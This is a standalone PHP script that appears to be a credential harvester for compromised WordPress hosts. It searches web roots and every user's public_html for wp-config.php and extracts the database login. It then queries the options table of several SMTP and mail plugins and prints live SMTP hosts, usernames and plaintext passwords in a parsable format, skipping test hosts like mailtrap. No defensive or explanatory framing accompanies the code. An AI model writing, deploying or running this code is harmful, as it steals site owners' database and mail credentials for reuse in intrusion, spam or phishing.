<?php
error_reporting(0);
set_time_limit(60);
header('Content-Type: text/plain; charset=utf-8');

$SKIP_HOSTS = ['localhost','127.0.0.1','mailhog','mailtrap','smtp.mailtrap.io',
               'smtp.gmail.com','example.com','false','null','in-v3.mailgun.org'];

// Find wp-config.php in common locations
$wp_config_paths = [
    '/var/www/html/wp-config.php',
    '/var/www/wp-config.php',
    '/srv/www/wp-config.php',
    __DIR__ . '/../../wp-config.php',
    __DIR__ . '/../wp-config.php',
    __DIR__ . '/wp-config.php',
];

// Also check /home/* paths
if (is_dir('/home')) {
    $dh = opendir('/home');
    while (($f = readdir($dh)) !== false) {
        if ($f !== '.' && $f !== '..') {
            $wp_config_paths[] = "/home/$f/public_html/wp-config.php";
        }
    }
    closedir($dh);
}

// Also check /var/www/*/
foreach (glob('/var/www/*/wp-config.php') ?: [] as $p) $wp_config_paths[] = $p;
foreach (glob('/var/www/html/*/wp-config.php') ?: [] as $p) $wp_config_paths[] = $p;

$db_host = null; $db_user = null; $db_pass = null; $db_name = null;
$config_path = null;

foreach ($wp_config_paths as $path) {
    if (!file_exists($path) || !is_readable($path)) continue;
    $content = file_get_contents($path);
    if (!$content || strpos($content, 'DB_NAME') === false) continue;
    $config_path = $path;

    if (preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m)) $db_host = $m[1];
    if (preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m)) $db_user = $m[1];
    if (preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m)) $db_pass = $m[1];
    if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m)) $db_name = $m[1];
    if (preg_match("/define\s*\(\s*['\"]table_prefix['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) $prefix = $m[1];
    else $prefix = 'wp_';
    break;
}

if (!$db_host) { echo "NO_WPCONFIG\n"; exit; }
echo "WPCONFIG|$config_path\n";

// Connect to MySQL
$conn = @new mysqli($db_host, $db_user, $db_pass, $db_name);
if ($conn->connect_error) { echo "DB_FAIL|" . $conn->connect_error . "\n"; exit; }
echo "DB_OK|$db_host|$db_user\n";

// Read all smtp-related options
$smtp_options = [
    'wp_mail_smtp',         // WP Mail SMTP
    'swpsmtp_options',      // Easy WP SMTP
    'postman_settings',     // Post SMTP / Postman SMTP
    'fluentmail-settings',  // FluentSMTP
    'mailster_options',     // Mailster
    'wpml_smtp_settings',   // WPML SMTP
    'smtp_mail_settings',   // SMTP Mail
    'woocommerce_email_settings', // WooCommerce
];

$results = [];
foreach ($smtp_options as $opt_name) {
    $r = $conn->query("SELECT option_value FROM {$prefix}options WHERE option_name = '$opt_name' LIMIT 1");
    if (!$r || $r->num_rows === 0) continue;
    $row = $r->fetch_assoc();
    $val = $row['option_value'];

    // Try to unserialize PHP
    $data = @unserialize($val);
    if (!$data) {
        // Try JSON
        $data = @json_decode($val, true);
    }

    if (!$data || !is_array($data)) {
        // Try regex on raw string
        if (preg_match('/smtp(?:_host|host|_server)?[\'"\s:]+([^\s\'"<>]+\.[a-z]{2,})/i', $val, $m)) {
            $results[] = "RAW|$opt_name|host=" . $m[1];
        }
        continue;
    }

    // Flatten nested arrays
    $flat = [];
    array_walk_recursive($data, function($v, $k) use (&$flat) { $flat[strtolower($k)] = $v; });

    $h = $flat['smtp_host'] ?? $flat['host'] ?? $flat['mail_server'] ?? $flat['server'] ?? $flat['smtp'] ?? '';
    $u = $flat['smtp_user'] ?? $flat['user'] ?? $flat['username'] ?? $flat['smtp_username'] ?? $flat['from_email'] ?? '';
    $p = $flat['smtp_pass'] ?? $flat['pass'] ?? $flat['password'] ?? $flat['smtp_password'] ?? '';
    $port = (int)($flat['smtp_port'] ?? $flat['port'] ?? 587);

    // Strip ssl:// prefix
    foreach (['ssl://','tls://'] as $pf) {
        if (stripos($h, $pf) === 0) { $h = substr($h, strlen($pf)); break; }
    }

    if (!$h || !$u || !$p) continue;
    if (strlen($p) < 5) continue;
    if (in_array(strtolower($h), $SKIP_HOSTS)) continue;
    if (strpos($u, '@') === false && strlen($u) < 3) continue;

    $key = "$h:$port|$u";
    if (!in_array($key, $results)) {
        $results[] = $key;
        echo "SMTP|$h|$port|$u|$p|plugin=$opt_name\n";
    }
}

// Also search for any smtp config in all options
$r2 = $conn->query("SELECT option_name, option_value FROM {$prefix}options WHERE option_name LIKE '%mail%' OR option_name LIKE '%smtp%' LIMIT 100");
if ($r2) {
    while ($row = $r2->fetch_assoc()) {
        $val = $row['option_value'];
        if (strlen($val) > 2000 || strlen($val) < 5) continue;
        // Quick check
        if (strpos($val, 'smtp') === false && strpos($val, 'mail_host') === false) continue;
        $data = @unserialize($val) ?: @json_decode($val, true);
        if (!$data || !is_array($data)) continue;
        $flat = [];
        array_walk_recursive($data, function($v, $k) use (&$flat) { $flat[strtolower($k)] = $v; });
        $h = $flat['smtp_host'] ?? $flat['smtp_server'] ?? $flat['mail_host'] ?? '';
        $u = $flat['smtp_user'] ?? $flat['smtp_username'] ?? $flat['from_email'] ?? '';
        $p = $flat['smtp_pass'] ?? $flat['smtp_password'] ?? $flat['mail_password'] ?? '';
        $port = (int)($flat['smtp_port'] ?? 587);
        foreach (['ssl://','tls://'] as $pf) {
            if (stripos($h, $pf) === 0) { $h = substr($h, strlen($pf)); break; }
        }
        if ($h && $u && $p && !in_array(strtolower($h), $SKIP_HOSTS) && strpos($u,'@') !== false && strlen($p) >= 5) {
            $key = "$h:$port|$u";
            if (!in_array($key, $results)) {
                $results[] = $key;
                echo "SMTP|$h|$port|$u|$p|plugin={$row['option_name']}\n";
            }
        }
    }
}

if (empty($results)) echo "NO_SMTP\n";
$conn->close();
?>